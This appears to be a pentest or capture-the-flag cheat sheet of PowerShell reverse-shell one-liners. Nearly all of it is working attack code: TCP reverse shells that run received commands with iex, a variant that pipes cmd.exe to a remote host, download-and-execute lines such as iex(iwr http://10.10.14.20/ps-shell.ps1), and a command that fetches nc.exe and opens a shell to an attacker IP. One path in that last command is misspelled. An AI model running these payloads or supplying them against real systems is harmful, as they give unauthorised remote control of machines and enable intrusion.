It can help gain a bind or reverse connection to spawn an (psuedo-)interactive prompt for code execution.
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.149',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
start /B powershell -c "$a='10.10.14.20';$b=80;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}"
start-job IEX(iwr http://192.168.119.149:8000/Invoke-Shell.ps1 -UseBasicParsing); Invoke-Shell 192.168.119.149 8889
ps-shell.ps1:
$ip="10.10.14.20";$port=445;$client = New-Object System.Net.Sockets.TCPClient($ip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
From cmd.exe context:
start /B powershell -c "iex(iwr http://10.10.14.20/ps-shell.ps1)"
Or:
iex(iwr http://10.10.14.20/ps-shell.ps1)
powershell -c "iwr http://10.10.1.36:8000/nc.exe -outfile c:\users\public\nc.exe -usebasicparsing;c:\uses\public\nc.exe 10.10.14.36 8889 -e cmd.exe"
https://raw.githubusercontent.com/MidnightSeer/scripts/master/Invoke-Shell.ps1